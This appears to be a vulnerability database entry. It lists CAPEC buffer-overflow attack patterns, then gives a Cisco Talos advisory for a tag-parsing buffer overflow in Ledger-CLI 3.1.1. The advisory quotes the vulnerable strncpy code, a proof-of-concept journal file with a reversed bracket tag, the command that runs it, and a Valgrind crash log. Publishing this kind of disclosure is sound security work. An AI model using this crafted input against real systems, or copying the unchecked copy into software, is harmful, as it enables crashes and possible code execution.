Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Overflow Buffers Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
- Client-side Injection-induced Buffer Overflow This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
- Filter Failure through Buffer Overflow In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
- MIME Conversion An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

description | ### Summary An exploitable buffer overflow vulnerability exists in the tag parsing functionality of Ledger-CLI 3.1.1. A specially crafted journal file can cause a integer underflow resulting in code execution. An attacker can construct a malicious journal file to trigger this vulnerability. ### Tested Versions Ledger CLI 3.1.1 ### Product URLs http://ledger-cli.org ### CVSSv3 Score 7.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H ### CWE CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') ### Details Ledger CLI is an accounting system accessed via the command line. Ledger leverages data provided by the user to provide very detailed financial reports and analytics. When parsing the tags in a journal file, a size of the tag is constructed by subtracting two pointers pointing to the ends of the tag. This size is used directly to copy file data into a static buffer. This subtraction can result in an integer underflow, forcing a large value to be be used in the subsequent `strnpcy`. ``` src/items.cc:147 void item_t::parse_tags(const char * p, scope_t& scope, bool overwrite_existing) { if (! std::strchr(p, ':')) { if (const char * b = std::strchr(p, '[')) { if (*(b + 1) != '\0' && (std::isdigit(*(b + 1)) || *(b + 1) == '=')) { if (const char * e = std::strchr(p, ']')) { char buf[256]; std::strncpy(buf ,b + 1, static_cast<std::size_t>(e - b - 1)); ``` An example journal file exercising this vulnerability is shown below: ``` $ cat poc.dat 2003/12/20 Organic Co-op Expenses:Food:Groceries $ 37.50 ; ] [=2004/01/01] ``` Note the `]` that comes before `[` after the `;`. These resultant pointers cause the integer overflow resulting in the buffer overflow. ### Crash Information ``` ==10500== Memcheck, a memory error detector ==10500== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==10500== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==10500== Command: ../ledger-3.1.1/ledger -f ../ledger-raw/test.poc reg ==10500== ==10500== Invalid write of size 1 ==10500== at 0x4C31644: __strncpy_sse2_unaligned (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==10500== by 0x561FC19: ledger::item_t::parse_tags(char const*, ledger::scope_t&, bool) (item.cc:157) ==10500== Address 0xfff001000 is not stack'd, malloc'd or (recently) free'd ==10500== ==10500== ==10500== Process terminating with default action of signal 11 (SIGSEGV) ==10500== Access not within mapped region at address 0xFFF001000 ==10500== at 0x4C31644: __strncpy_sse2_unaligned (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==10500== by 0x561FC19: ledger::item_t::parse_tags(char const*, ledger::scope_t&, bool) (item.cc:157) ==10500== If you believe this happened as a result of a stack ==10500== overflow in your program's main thread (unlikely but ==10500== possible), you can try to increase the size of the ==10500== main thread stack using the --main-stacksize= flag. ==10500== The main thread stack size used in this run was 8388608. ==10500== ==10500== HEAP SUMMARY: ==10500== in use at exit: 251,247 bytes in 143 blocks ==10500== total heap usage: 228 allocs, 85 frees, 263,470 bytes allocated ==10500== ==10500== LEAK SUMMARY: ==10500== definitely lost: 279 bytes in 6 blocks ==10500== indirectly lost: 0 bytes in 0 blocks ==10500== possibly lost: 0 bytes in 0 blocks ==10500== still reachable: 250,968 bytes in 137 blocks ==10500== of which reachable via heuristic: ==10500== newarray : 64 bytes in 4 blocks ==10500== multipleinheritance: 1,376 bytes in 1 blocks ==10500== suppressed: 0 bytes in 0 blocks ==10500== Rerun with --leak-check=full to see details of leaked memory ==10500== ==10500== For counts of detected and suppressed errors, rerun with: -v ==10500== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0) ``` ### Exploit Proof-of-Concept ``` ./ledger -f poc.dat register ``` ### Timeline * 2017-04-07 - Vendor Disclosure * 2017-08-30 - Public Release ### CREDIT * Discovered by Cory Duplantis of Cisco Talos. |
